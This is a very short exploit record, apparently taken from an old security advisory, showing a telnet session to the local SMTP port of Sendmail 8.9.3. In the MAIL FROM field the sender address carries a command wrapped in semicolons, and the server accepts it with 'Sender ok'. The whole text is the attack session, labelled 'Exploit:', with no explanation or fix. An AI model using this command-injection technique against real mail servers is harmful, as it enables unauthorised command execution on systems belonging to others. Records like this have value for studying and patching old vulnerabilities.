Exploit:

  $ telnet localhost 25

     Trying 127.0.0.1...
     Connected to localhost.
     Escape character is '^]'.
     220 dhcp-160-190.x.x ESMTP Sendmail 8.9.3/8.9.3
     helo x.x
     250 dhcp-160-190.x.x Hello IDENT:nhaniff@localhost
                       [127.0.0.1], pleased to meet you
     MAIL FROM: ;/command/to/execute;@microsoft.com
     250 ;/command/to/execute;@microsoft.com... Sender ok